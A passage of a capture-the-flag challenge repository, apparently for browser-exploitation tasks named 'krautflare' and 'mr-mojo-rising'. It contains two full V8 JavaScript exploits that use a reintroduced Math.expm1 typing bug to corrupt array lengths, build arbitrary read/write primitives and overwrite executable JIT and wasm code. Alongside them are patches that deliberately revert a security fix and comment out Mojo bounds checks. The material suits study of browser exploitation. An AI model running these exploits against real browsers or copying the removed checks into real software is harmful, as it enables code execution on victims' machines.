309 | } 310 | 311 | function spooky(o, a) { 312 | return +(Object.is(spooky2(a), o.b)); 313 | } 314 | 315 | var victim = undefined; 316 | var manipulate = undefined; 317 | var manip = undefined; 318 | 319 | function jitme(a, i, i2) { 320 | 321 | let o = {b: NaN}; 322 | 323 | let typecast = new Uint32Array(2); 324 | typecast[0] = i; 325 | typecast[1] = i2; 326 | let idx = typecast[0]; 327 | let idx2 = typecast[1]; 328 | 329 | let oob = [1.1, 1.1, 1.1, 1.1]; 330 | let localvictim = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2, 2.2, 2.2]; 331 | var localbuf = new ArrayBuffer(0x20); 332 | victim = localvictim; 333 | manipulate = localbuf; 334 | manip = [localbuf, 0x41414141, sc_func]; 335 | 336 | let ret = spooky(o, a); 337 | 338 | oob[ret * idx] = 4.345847379897e-311; // length of 0x800 339 | oob[ret * idx2] = 4.345847379897e-311; // length of 0x800 340 | return localvictim; 341 | } 342 | 343 | jitme(1, 0, 0); 344 | jitme(0, 0, 0); 345 | for(x = 0; x < 0x1000; x++) jitme(1, 0, 0); 346 | //%OptimizeFunctionOnNextCall(jitme); 347 | 348 | console.log("beginning interesting call"); 349 | console.log("result is " + jitme(1, 0, 0)); 350 | jitme(0, 0x11, 0x5); // trigger the bug to write to the victim length and element array length 351 | 352 | if (victim.length > 8) { 353 | console.log("[+] bug was triggered!"); 354 | } else { 355 | throw ("[!] couldn't trigger the bug :("); 356 | } 357 | 358 | // find the arraybuffer length, which tells us where its backing store is 359 | let len_idx = 0; 360 | let bs_idx = 0; 361 | for(x = 0; x < victim.length; x++) { 362 | // find the length of 0x20 363 | if (victim[x] == 6.7903865311e-313) { 364 | console.log("[+] found the length idx (" + x + ")"); 365 | len_idx = x; 366 | bs_idx = x + 1; 367 | console.log("[+] bs ptr is " + Int64.fromDouble(victim[bs_idx]).toString()); 368 | break; 369 | } 370 | } 371 | 372 | if (len_idx == 0) { 373 | throw "[!] couldn't find the length idx!"; 374 | } 375 | 376 | // set up arb r/w 377 | function r64(addr) { 378 | victim[bs_idx] = addr.asDouble(); 379 | let myview = new Float64Array(manipulate); 380 | return Int64.fromDouble(myview[0]); 381 | } 382 | 383 | function writen(addr, data) { 384 | victim[bs_idx] = addr.asDouble(); 385 | let myview = new Uint8Array(manipulate); 386 | for(x = 0; x < data.length; x++) { 387 | myview[x] = data[x]; 388 | } 389 | } 390 | 391 | //%DebugPrint(manip[2]); 392 | 393 | let func_idx = 0; 394 | let funcaddr = 0; 395 | // find the function in the manip array 396 | for(x = 0; x < victim.length; x++) { 397 | // find the special 0x41414141 marker value 398 | if (victim[x] == 2261634.0) { 399 | func_idx = x + 1; 400 | funcaddr = Int64.fromDouble(victim[func_idx]); 401 | console.log("[+] function addr is " + funcaddr.toString()); 402 | break; 403 | } 404 | } 405 | 406 | if (funcaddr == 0) { 407 | throw "[!} couldn't find jitted function"; 408 | } 409 | 410 | // grab the function code location 411 | var code_loc = Add(funcaddr, new Int64(0x2f)); 412 | var codeaddr = r64(code_loc); 413 | console.log(code_loc.toString() + ": " + codeaddr.toString()); 414 | 415 | // v8 will jump to codeaddr + 0x3f 416 | // our jit spray starts at codeaddr + 0x3f + 0x5b 417 | writen(code_loc, Add(codeaddr, new Int64(0x5b)).bytes()); 418 | 419 | //writen(code_loc, [0, 0, 0, 0, 0, 0, 0, 0]); 420 | 421 | console.log("[+] code overwitten successfully"); 422 | console.log("[+] press enter to hit the breakpoint we wrote!") 423 | readline(); 424 | sc_func(); 425 | readline(); -------------------------------------------------------------------------------- /krautflare/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tsuro/nsjail 2 | COPY challenge /home/user 3 | #COPY tmpflag /flag 4 | CMD /bin/sh -c "/usr/bin/setup_cgroups.sh && su user -c '/usr/bin/nsjail -Ml --port 1337 --chroot / --user 1000 --group 1000 --cgroup_mem_max 209715200 --cgroup_pids_max 100 --cgroup_cpu_ms_per_sec 100 --rlimit_as max --rlimit_cpu max --rlimit_nofile max --rlimit_nproc max -- /usr/bin/stdbuf -i0 -o0 -e0 /usr/bin/maybe_pow.sh /home/user/chal'" 5 | -------------------------------------------------------------------------------- /krautflare/build_v8.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -Eeuxo pipefail 4 | 5 | fetch v8 6 | pushd v8 7 | git checkout dde25872f58951bb0148cf43d6a504ab2f280485 8 | git apply < ../d8-strip-globals.patch 9 | git apply < ../revert-bugfix-880207.patch 10 | git apply < ../open_files_readonly.patch 11 | gclient sync 12 | ./tools/dev/gm.py x64.debug 13 | popd 14 | -------------------------------------------------------------------------------- /krautflare/d8-strip-globals.patch: -------------------------------------------------------------------------------- 1 | commit 3794e5f0eeee3d421cc0d2a8d8b84ac82d37f10d 2 | Author: Your Name 3 | Date: Sat Dec 15 18:21:08 2018 +0100 4 | 5 | strip global in realms 6 | 7 | diff --git a/src/d8.cc b/src/d8.cc 8 | index 98bc56ad25..e72f528ae5 100644 9 | --- a/src/d8.cc 10 | +++ b/src/d8.cc 11 | @@ -1043,9 +1043,8 @@ MaybeLocal Shell::CreateRealm( 12 | } 13 | delete[] old_realms; 14 | } 15 | - Local global_template = CreateGlobalTemplate(isolate); 16 | Local context = 17 | - Context::New(isolate, nullptr, global_template, global_object); 18 | + Context::New(isolate, nullptr, ObjectTemplate::New(isolate), v8::MaybeLocal()); 19 | DCHECK(!try_catch.HasCaught()); 20 | if (context.IsEmpty()) return MaybeLocal(); 21 | InitializeModuleEmbedderData(context); 22 | -------------------------------------------------------------------------------- /krautflare/open_files_readonly.patch: -------------------------------------------------------------------------------- 1 | commit 430071ed28001ad0112d90b287734e8db8a0bbd8 2 | Author: Stephen Roettger 3 | Date: Sun Dec 16 19:52:37 2018 +0100 4 | 5 | open files ro to play more nicely with ro environments 6 | 7 | diff --git a/src/base/platform/platform-posix.cc b/src/base/platform/platform-posix.cc 8 | index 6223701b35..43ebed7f75 100644 9 | --- a/src/base/platform/platform-posix.cc 10 | +++ b/src/base/platform/platform-posix.cc 11 | @@ -446,12 +446,12 @@ class PosixMemoryMappedFile final : public OS::MemoryMappedFile { 12 | 13 | // static 14 | OS::MemoryMappedFile* OS::MemoryMappedFile::open(const char* name) { 15 | - if (FILE* file = fopen(name, "r+")) { 16 | + if (FILE* file = fopen(name, "r")) { 17 | if (fseek(file, 0, SEEK_END) == 0) { 18 | long size = ftell(file); // NOLINT(runtime/int) 19 | if (size >= 0) { 20 | void* const memory = 21 | - mmap(OS::GetRandomMmapAddr(), size, PROT_READ | PROT_WRITE, 22 | + mmap(OS::GetRandomMmapAddr(), size, PROT_READ, 23 | MAP_SHARED, fileno(file), 0); 24 | if (memory != MAP_FAILED) { 25 | return new PosixMemoryMappedFile(file, memory, size); 26 | -------------------------------------------------------------------------------- /krautflare/pwn.js: -------------------------------------------------------------------------------- 1 | // 2 | // Tiny module that provides big (64bit) integers. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | // Requires utils.js 7 | // 8 | 9 | // Datatype to represent 64-bit integers. 10 | // 11 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 12 | // 13 | // Utility functions. 14 | // 15 | // Copyright (c) 2016 Samuel Groß 16 | // 17 | 18 | // Return the hexadecimal representation of the given byte. 19 | function hex(b) { 20 | return ('0' + b.toString(16)).substr(-2); 21 | } 22 | 23 | // Return the hexadecimal representation of the given byte array. 24 | function hexlify(bytes) { 25 | var res = []; 26 | for (var i = 0; i < bytes.length; i++) 27 | res.push(hex(bytes[i])); 28 | 29 | return res.join(''); 30 | } 31 | 32 | // Return the binary data represented by the given hexdecimal string. 33 | function unhexlify(hexstr) { 34 | if (hexstr.length % 2 == 1) 35 | throw new TypeError("Invalid hex string"); 36 | 37 | var bytes = new Uint8Array(hexstr.length / 2); 38 | for (var i = 0; i < hexstr.length; i += 2) 39 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 40 | 41 | return bytes; 42 | } 43 | 44 | function hexdump(data) { 45 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 46 | data = Array.from(data); 47 | 48 | var lines = []; 49 | for (var i = 0; i < data.length; i += 16) { 50 | var chunk = data.slice(i, i+16); 51 | var parts = chunk.map(hex); 52 | if (parts.length > 8) 53 | parts.splice(8, 0, ' '); 54 | lines.push(parts.join(' ')); 55 | } 56 | 57 | return lines.join('\n'); 58 | } 59 | 60 | // Simplified version of the similarly named python module. 61 | var Struct = (function() { 62 | // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. 63 | var buffer = new ArrayBuffer(8); 64 | var byteView = new Uint8Array(buffer); 65 | var uint32View = new Uint32Array(buffer); 66 | var float64View = new Float64Array(buffer); 67 | 68 | return { 69 | pack: function(type, value) { 70 | var view = type; // See below 71 | view[0] = value; 72 | return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); 73 | }, 74 | 75 | unpack: function(type, bytes) { 76 | if (bytes.length !== type.BYTES_PER_ELEMENT) 77 | throw Error("Invalid bytearray"); 78 | 79 | var view = type; // See below 80 | byteView.set(bytes); 81 | return view[0]; 82 | }, 83 | 84 | // Available types. 85 | int8: byteView, 86 | int32: uint32View, 87 | float64: float64View 88 | }; 89 | })(); 90 | 91 | function Int64(v) { 92 | // The underlying byte array. 93 | var bytes = new Uint8Array(8); 94 | 95 | switch (typeof v) { 96 | case 'number': 97 | v = '0x' + Math.floor(v).toString(16); 98 | case 'string': 99 | if (v.startsWith('0x')) 100 | v = v.substr(2); 101 | if (v.length % 2 == 1) 102 | v = '0' + v; 103 | 104 | var bigEndian = unhexlify(v, 8); 105 | bytes.set(Array.from(bigEndian).reverse()); 106 | break; 107 | case 'object': 108 | if (v instanceof Int64) { 109 | bytes.set(v.bytes()); 110 | } else { 111 | if (v.length != 8) 112 | throw TypeError("Array must have excactly 8 elements."); 113 | bytes.set(v); 114 | } 115 | break; 116 | case 'undefined': 117 | break; 118 | default: 119 | throw TypeError("Int64 constructor requires an argument."); 120 | } 121 | 122 | // Return a double whith the same underlying bit representation. 123 | this.asDouble = function() { 124 | // Check for NaN 125 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) 126 | throw new RangeError("Integer can not be represented by a double"); 127 | 128 | return Struct.unpack(Struct.float64, bytes); 129 | }; 130 | 131 | // Return a javascript value with the same underlying bit representation. 132 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) 133 | // due to double conversion constraints. 134 | this.asJSValue = function() { 135 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) 136 | throw new RangeError("Integer can not be represented by a JSValue"); 137 | 138 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. 139 | this.assignSub(this, 0x1000000000000); 140 | var res = Struct.unpack(Struct.float64, bytes); 141 | this.assignAdd(this, 0x1000000000000); 142 | 143 | return res; 144 | }; 145 | 146 | this.lower = function() { 147 | return bytes[0] + 256 * bytes[1] + 256*256*bytes[2] + 256*256*256*bytes[3]; 148 | }; 149 | 150 | this.upper = function() { 151 | return bytes[4] + 256 * bytes[5] + 256*256*bytes[6] + 256*256*256*bytes[7]; 152 | }; 153 | 154 | // Return the underlying bytes of this number as array. 155 | this.bytes = function() { 156 | return Array.from(bytes); 157 | }; 158 | 159 | // Return the byte at the given index. 160 | this.byteAt = function(i) { 161 | return bytes[i]; 162 | }; 163 | 164 | // Return the value of this number as unsigned hex string. 165 | this.toString = function() { 166 | return '0x' + hexlify(Array.from(bytes).reverse()); 167 | }; 168 | 169 | // Basic arithmetic. 170 | // These functions assign the result of the computation to their 'this' object. 171 | 172 | // Decorator for Int64 instance operations. Takes care 173 | // of converting arguments to Int64 instances if required. 174 | function operation(f, nargs) { 175 | return function() { 176 | if (arguments.length != nargs) 177 | throw Error("Not enough arguments for function " + f.name); 178 | for (var i = 0; i < arguments.length; i++) 179 | if (!(arguments[i] instanceof Int64)) 180 | arguments[i] = new Int64(arguments[i]); 181 | return f.apply(this, arguments); 182 | }; 183 | } 184 | 185 | // this = -n (two's complement) 186 | this.assignNeg = operation(function neg(n) { 187 | for (var i = 0; i < 8; i++) 188 | bytes[i] = ~n.byteAt(i); 189 | 190 | return this.assignAdd(this, Int64.One); 191 | }, 1); 192 | 193 | // this = a + b 194 | this.assignAdd = operation(function add(a, b) { 195 | var carry = 0; 196 | for (var i = 0; i < 8; i++) { 197 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 198 | carry = cur > 0xff | 0; 199 | bytes[i] = cur; 200 | } 201 | return this; 202 | }, 2); 203 | 204 | // this = a - b 205 | this.assignSub = operation(function sub(a, b) { 206 | var carry = 0; 207 | for (var i = 0; i < 8; i++) { 208 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 209 | carry = cur < 0 | 0; 210 | bytes[i] = cur; 211 | } 212 | return this; 213 | }, 2); 214 | } 215 | 216 | // Constructs a new Int64 instance with the same bit representation as the provided double. 217 | Int64.fromDouble = function(d) { 218 | var bytes = Struct.pack(Struct.float64, d); 219 | return new Int64(bytes); 220 | }; 221 | 222 | // Convenience functions. These allocate a new Int64 to hold the result. 223 | 224 | // Return -n (two's complement) 225 | function Neg(n) { 226 | return (new Int64()).assignNeg(n); 227 | } 228 | 229 | // Return a + b 230 | function Add(a, b) { 231 | return (new Int64()).assignAdd(a, b); 232 | } 233 | 234 | // Return a - b 235 | function Sub(a, b) { 236 | return (new Int64()).assignSub(a, b); 237 | } 238 | 239 | // Some commonly used numbers. 240 | Int64.Zero = new Int64(0); 241 | Int64.One = new Int64(1); 242 | 243 | // modified from https://github.com/LiveOverflow/lo_nintendoswitch/blob/master/opc1.html#L36 244 | function gc() { 245 | var x = new Array(0x800); 246 | for(y = 0; y < x.length; y++) { 247 | x[y] = new Uint32Array(0x10000); 248 | } 249 | for(y = 0; y < x.length; y++) { 250 | x[y] = 0; 251 | } 252 | } 253 | 254 | function do_expm(x) { 255 | return Math.expm1(x); 256 | } 257 | 258 | function spooky(obj, x, k) { 259 | obj.b = do_expm(x); 260 | return (+Object.is(obj.b, obj.a)); 261 | } 262 | 263 | var g_oob = undefined; 264 | var victim = undefined; 265 | var manip = undefined; 266 | 267 | var buffer = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 268 | 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 269 | 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 270 | 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 271 | 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 272 | 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11 273 | ]); 274 | var m = new WebAssembly.Instance(new WebAssembly.Module(buffer)); 275 | console.log("ret = " + m.exports.main()); 276 | 277 | //%DebugPrint(m.exports.main); 278 | //readline(); 279 | 280 | function f(x, k, v) { 281 | 282 | let o = {a: -0}; 283 | let oob = [1.1, 1.2]; 284 | let localvictim = [2.2, 2.2, 2.2, 2.2, 2.2]; 285 | 286 | // save off our victim pointer 287 | victim = localvictim; 288 | 289 | manip = [new ArrayBuffer(0x100), new ArrayBuffer(0x100)]; 290 | 291 | // putting this between the previous and next lines prevents 292 | // load elimination from simplifying the calls, and instead 293 | // delegates that responsibility to escape analysis 294 | 295 | 296 | // for some reason, turbofan is much more willing to kill 297 | // the CheckBounds surrounding the OOB read than the OOB write. 298 | // need to investigate this more, but for now.... 299 | let idx = spooky(o, x, k) * 12; 300 | oob[idx] = 8.691694759794e-311; // 0x0000100000000000 301 | 302 | return localvictim; 303 | } 304 | 305 | // starting check of our return value 306 | var res = f(0, 0, 1.1); 307 | //if (res != 1.1) throw ("invalid start input " + res); 308 | 309 | // call as normal 310 | for(x = 0; x < 0x5000; x++) f(0, x % 2, 1.1); 311 | 312 | // force jit of f() 313 | f("0", 0, 1.1); 314 | for(x = 0; x < 0x5000; x++) f(0, x % 2, 1.1); 315 | 316 | res = f(-0, 1, 5.5); 317 | //if (res != 2.2) throw ("invalid end input " + res); 318 | 319 | f(-0, 1, 0); 320 | 321 | // make sure we corrupted the victim's length 322 | if (victim.length != 0x1000) throw "couldn't corrupt victim length"; 323 | 324 | // put some other things into the array we want to get the address of 325 | manip.push(0x41414141); 326 | manip.push(m.exports.main); 327 | 328 | // find the manip length and replace it 329 | var length_idx = 0; 330 | var bs_idx = 0; 331 | var addrof_idx = 0; 332 | var found = false; 333 | for(x = 0; x < 0x100; x++) { 334 | if (!found && (victim[x] == 5.43230922487e-312 || victim[x] == 1.265e-321)) { 335 | victim[x] = 2.53e-321; // 0x200 336 | length_idx = x; 337 | bs_idx = x + 1; 338 | console.log("found arraybuf and store idx"); 339 | found = true; 340 | } 341 | if (victim[x] == 2261634.0) { 342 | addrof_idx = x; 343 | console.log("found addrof idx"); 344 | 345 | // this will always be after the above 346 | break; 347 | } 348 | } 349 | 350 | // make sure we corrupted arraybuffer length 351 | if (manip[0].byteLength != 0x200) throw "couldn't corrupt arraybuf length"; 352 | 353 | var manipulate = manip[0]; 354 | 355 | // set up our primitives 356 | function r64(addr) { 357 | victim[bs_idx] = addr.asDouble(); 358 | var myview = new Float64Array(manipulate); 359 | return Int64.fromDouble(myview[0]); 360 | } 361 | 362 | function writen(addr, data) { 363 | victim[bs_idx] = addr.asDouble(); 364 | var myview = new Uint8Array(manipulate); 365 | for(x = 0; x < data.length; x++) { 366 | myview[x] = data[x]; 367 | } 368 | } 369 | 370 | %DebugPrint(m.exports.main); 371 | %DebugPrint(victim); 372 | %DebugPrint(manip); 373 | %DebugPrint(manip[0]); 374 | var func = Int64.fromDouble(victim[addrof_idx+1]); 375 | console.log("wasm func at " + func.toString()); 376 | 377 | // function + 0x20 ] + 0x10 ] + 0x1d0 == rwx jitbuffer on my chrome version 378 | // add 0xf to align the pointers 379 | 380 | func = Add(func, new Int64(0x2f)); 381 | func = r64(func); 382 | console.log(func); 383 | console.log(func); 384 | func = Add(func, new Int64(0x1f)); 385 | func = r64(func); 386 | console.log(func); 387 | func = Add(func, new Int64(0x1df)); 388 | var jitptr_loc = func; 389 | func = r64(func); 390 | console.log("wasm jitbuffer is " + func.toString()); 391 | 392 | // overwrite jit page with code 393 | writen(func, [0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc]); 394 | 395 | m.exports.main(); 396 | 397 | readline(); 398 | -------------------------------------------------------------------------------- /krautflare/revert-bugfix-880207.patch: -------------------------------------------------------------------------------- 1 | commit 950e28228cefd1266cf710f021a67086e67ac6a6 2 | Author: Your Name 3 | Date: Sat Dec 15 14:59:37 2018 +0100 4 | 5 | Revert "[turbofan] Fix Math.expm1 builtin typing." 6 | 7 | This reverts commit c59c9c46b589deb2a41ba07cf87275921b8b2885. 8 | 9 | diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc 10 | index 60e7ed574a..8324dc06d7 100644 11 | --- a/src/compiler/typer.cc 12 | +++ b/src/compiler/typer.cc 13 | @@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { 14 | // Unary math functions. 15 | case BuiltinFunctionId::kMathAbs: 16 | case BuiltinFunctionId::kMathExp: 17 | + case BuiltinFunctionId::kMathExpm1: 18 | return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone()); 19 | case BuiltinFunctionId::kMathAcos: 20 | case BuiltinFunctionId::kMathAcosh: 21 | @@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { 22 | case BuiltinFunctionId::kMathAtanh: 23 | case BuiltinFunctionId::kMathCbrt: 24 | case BuiltinFunctionId::kMathCos: 25 | - case BuiltinFunctionId::kMathExpm1: 26 | case BuiltinFunctionId::kMathFround: 27 | case BuiltinFunctionId::kMathLog: 28 | case BuiltinFunctionId::kMathLog1p: 29 | diff --git a/test/mjsunit/regress/regress-crbug-880207.js b/test/mjsunit/regress/regress-crbug-880207.js 30 | index 09796a9ff4..0f65ddb56b 100644 31 | --- a/test/mjsunit/regress/regress-crbug-880207.js 32 | +++ b/test/mjsunit/regress/regress-crbug-880207.js 33 | @@ -4,34 +4,10 @@ 34 | 35 | // Flags: --allow-natives-syntax 36 | 37 | -(function TestOptimizedFastExpm1MinusZero() { 38 | - function foo() { 39 | - return Object.is(Math.expm1(-0), -0); 40 | - } 41 | +function foo() { 42 | + return Object.is(Math.expm1(-0), -0); 43 | +} 44 | 45 | - assertTrue(foo()); 46 | - %OptimizeFunctionOnNextCall(foo); 47 | - assertTrue(foo()); 48 | -})(); 49 | - 50 | -(function TestOptimizedExpm1MinusZeroSlowPath() { 51 | - function f(x) { 52 | - return Object.is(Math.expm1(x), -0); 53 | - } 54 | - 55 | - function g() { 56 | - return f(-0); 57 | - } 58 | - 59 | - f(0); 60 | - // Compile function optimistically for numbers (with fast inlined 61 | - // path for Math.expm1). 62 | - %OptimizeFunctionOnNextCall(f); 63 | - // Invalidate the optimistic assumption, deopting and marking non-number 64 | - // input feedback in the call IC. 65 | - f("0"); 66 | - // Optimize again, now with non-lowered call to Math.expm1. 67 | - assertTrue(g()); 68 | - %OptimizeFunctionOnNextCall(g); 69 | - assertTrue(g()); 70 | -})(); 71 | +assertTrue(foo()); 72 | +%OptimizeFunctionOnNextCall(foo); 73 | +assertTrue(foo()); 74 | -------------------------------------------------------------------------------- /krautflare/worker.js: -------------------------------------------------------------------------------- 1 | if (readline().startsWith('SheeK6ul')) { 2 | console.log('Welcome to krautflare workers, just send us a single line of javascript and we will execute it serverless on our server.'); 3 | Realm.create(); 4 | Realm.global(0).flag = read('/flag'); 5 | Realm.eval(1, readline()); 6 | } 7 | -------------------------------------------------------------------------------- /mr-mojo-rising/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:stable 2 | 3 | RUN apt-get update 4 | RUN apt-get -y upgrade 5 | RUN apt-get -y install python chromium strace gdb nano libatk-bridge2.0-0 libgtk-3-0 6 | 7 | RUN set -e -x; \ 8 | groupadd -g 1337 user; \ 9 | useradd -g 1337 -u 1337 -m user 10 | 11 | COPY chrome /home/user/chrome 12 | COPY flag /home/user/flag 13 | COPY service.py /home/user 14 | 15 | RUN set -e -x;\ 16 | chmod -R 0555 /home/user/chrome/; \ 17 | chmod 0555 /home/user/service.py; \ 18 | chmod 0444 /home/user/flag 19 | 20 | USER user 21 | CMD cd /home/user && python ./service.py 22 | -------------------------------------------------------------------------------- /mr-mojo-rising/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | mr-mojo-rising pwn 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /mr-mojo-rising/mojo.gdb: -------------------------------------------------------------------------------- 1 | set detach-on-fork off 2 | set schedule-multiple on 3 | set follow-fork-mode parent 4 | #set non-stop on 5 | set target-async on 6 | set print symbol-loading off 7 | -------------------------------------------------------------------------------- /mr-mojo-rising/mojo.patch: -------------------------------------------------------------------------------- 1 | diff --git a/mojo/core/core.cc b/mojo/core/core.cc 2 | index 8422ec247a40..031219872975 100644 3 | --- a/mojo/core/core.cc 4 | +++ b/mojo/core/core.cc 5 | @@ -762,6 +762,20 @@ MojoResult Core::WriteData(MojoHandle data_pipe_producer_handle, 6 | return dispatcher->WriteData(elements, num_bytes, validated_options); 7 | } 8 | 9 | +MojoResult Core::SetWriteOffset(MojoHandle data_pipe_producer_handle, 10 | + uint32_t write_offset) { 11 | + RequestContext request_context; 12 | + scoped_refptr dispatcher( 13 | + GetDispatcher(data_pipe_producer_handle)); 14 | + if (!dispatcher) 15 | + return MOJO_RESULT_INVALID_ARGUMENT; 16 | + 17 | + DataPipeProducerDispatcher* ptr = (DataPipeProducerDispatcher*)dispatcher.get(); 18 | + ptr->SetWriteOffset(write_offset); 19 | + 20 | + return MOJO_RESULT_OK; 21 | +} 22 | + 23 | MojoResult Core::BeginWriteData(MojoHandle data_pipe_producer_handle, 24 | const MojoBeginWriteDataOptions* options, 25 | void** buffer, 26 | @@ -797,6 +811,20 @@ MojoResult Core::EndWriteData(MojoHandle data_pipe_producer_handle, 27 | return dispatcher->EndWriteData(num_bytes_written); 28 | } 29 | 30 | +MojoResult Core::SetReadOffset(MojoHandle data_pipe_consumer_handle, 31 | + uint32_t read_offset) { 32 | + RequestContext request_context; 33 | + scoped_refptr dispatcher( 34 | + GetDispatcher(data_pipe_consumer_handle)); 35 | + if (!dispatcher) 36 | + return MOJO_RESULT_INVALID_ARGUMENT; 37 | + 38 | + DataPipeConsumerDispatcher* ptr = (DataPipeConsumerDispatcher*)dispatcher.get(); 39 | + ptr->SetReadOffset(read_offset); 40 | + 41 | + return MOJO_RESULT_OK; 42 | +} 43 | + 44 | MojoResult Core::ReadData(MojoHandle data_pipe_consumer_handle, 45 | const MojoReadDataOptions* options, 46 | void* elements, 47 | diff --git a/mojo/core/core.h b/mojo/core/core.h 48 | index 2840bc5e6809..694570a75414 100644 49 | --- a/mojo/core/core.h 50 | +++ b/mojo/core/core.h 51 | @@ -236,6 +236,8 @@ class MOJO_SYSTEM_IMPL_EXPORT Core { 52 | MojoResult CreateDataPipe(const MojoCreateDataPipeOptions* options, 53 | MojoHandle* data_pipe_producer_handle, 54 | MojoHandle* data_pipe_consumer_handle); 55 | + MojoResult SetWriteOffset(MojoHandle data_pipe_producer_handle, 56 | + uint32_t write_offset); 57 | MojoResult WriteData(MojoHandle data_pipe_producer_handle, 58 | const void* elements, 59 | uint32_t* num_bytes, 60 | @@ -247,6 +249,8 @@ class MOJO_SYSTEM_IMPL_EXPORT Core { 61 | MojoResult EndWriteData(MojoHandle data_pipe_producer_handle, 62 | uint32_t num_bytes_written, 63 | const MojoEndWriteDataOptions* options); 64 | + MojoResult SetReadOffset(MojoHandle data_pipe_consumer_handle, 65 | + uint32_t read_offset); 66 | MojoResult ReadData(MojoHandle data_pipe_consumer_handle, 67 | const MojoReadDataOptions* options, 68 | void* elements, 69 | diff --git a/mojo/core/data_pipe_consumer_dispatcher.cc b/mojo/core/data_pipe_consumer_dispatcher.cc 70 | index 89fbcde5e7e6..d4cb9d0ae267 100644 71 | --- a/mojo/core/data_pipe_consumer_dispatcher.cc 72 | +++ b/mojo/core/data_pipe_consumer_dispatcher.cc 73 | @@ -370,12 +370,12 @@ DataPipeConsumerDispatcher::Deserialize(const void* data, 74 | } 75 | 76 | const SerializedState* state = static_cast(data); 77 | - if (!state->options.capacity_num_bytes || !state->options.element_num_bytes || 78 | - state->options.capacity_num_bytes < state->options.element_num_bytes || 79 | - state->read_offset >= state->options.capacity_num_bytes || 80 | - state->bytes_available > state->options.capacity_num_bytes) { 81 | - return nullptr; 82 | - } 83 | + //if (!state->options.capacity_num_bytes || !state->options.element_num_bytes || 84 | + // state->options.capacity_num_bytes < state->options.element_num_bytes || 85 | + // state->read_offset >= state->options.capacity_num_bytes || 86 | + // state->bytes_available > state->options.capacity_num_bytes) { 87 | + // return nullptr; 88 | + //} 89 | 90 | NodeController* node_controller = Core::Get()->GetNodeController(); 91 | ports::PortRef port; 92 | diff --git a/mojo/core/data_pipe_consumer_dispatcher.h b/mojo/core/data_pipe_consumer_dispatcher.h 93 | index 982d3f055a02..0f076ec63a5b 100644 94 | --- a/mojo/core/data_pipe_consumer_dispatcher.h 95 | +++ b/mojo/core/data_pipe_consumer_dispatcher.h 96 | @@ -41,6 +41,9 @@ class MOJO_SYSTEM_IMPL_EXPORT DataPipeConsumerDispatcher final 97 | // Dispatcher: 98 | Type GetType() const override; 99 | MojoResult Close() override; 100 | + inline void SetReadOffset(uint32_t read_offset) { 101 | + read_offset_ = read_offset; 102 | + } 103 | MojoResult ReadData(const MojoReadDataOptions& validated_options, 104 | void* elements, 105 | uint32_t* num_bytes) override; 106 | diff --git a/mojo/core/data_pipe_producer_dispatcher.cc b/mojo/core/data_pipe_producer_dispatcher.cc 107 | index 201b9762bde5..c7ad232c690c 100644 108 | --- a/mojo/core/data_pipe_producer_dispatcher.cc 109 | +++ b/mojo/core/data_pipe_producer_dispatcher.cc 110 | @@ -331,12 +331,12 @@ DataPipeProducerDispatcher::Deserialize(const void* data, 111 | } 112 | 113 | const SerializedState* state = static_cast(data); 114 | - if (!state->options.capacity_num_bytes || !state->options.element_num_bytes || 115 | - state->options.capacity_num_bytes < state->options.element_num_bytes || 116 | - state->write_offset >= state->options.capacity_num_bytes || 117 | - state->available_capacity > state->options.capacity_num_bytes) { 118 | - return nullptr; 119 | - } 120 | + //if (!state->options.capacity_num_bytes || !state->options.element_num_bytes || 121 | + // state->options.capacity_num_bytes < state->options.element_num_bytes || 122 | + // state->write_offset >= state->options.capacity_num_bytes || 123 | + // state->available_capacity > state->options.capacity_num_bytes) { 124 | + // return nullptr; 125 | + //} 126 | 127 | NodeController* node_controller = Core::Get()->GetNodeController(); 128 | ports::PortRef port; 129 | diff --git a/mojo/core/data_pipe_producer_dispatcher.h b/mojo/core/data_pipe_producer_dispatcher.h 130 | index 15cd1c9b0de0..649f211af4e0 100644 131 | --- a/mojo/core/data_pipe_producer_dispatcher.h 132 | +++ b/mojo/core/data_pipe_producer_dispatcher.h 133 | @@ -41,6 +41,9 @@ class MOJO_SYSTEM_IMPL_EXPORT DataPipeProducerDispatcher final 134 | // Dispatcher: 135 | Type GetType() const override; 136 | MojoResult Close() override; 137 | + inline void SetWriteOffset(uint32_t write_offset) { 138 | + write_offset_ = write_offset; 139 | + } 140 | MojoResult WriteData(const void* elements, 141 | uint32_t* num_bytes, 142 | const MojoWriteDataOptions& options) override; 143 | diff --git 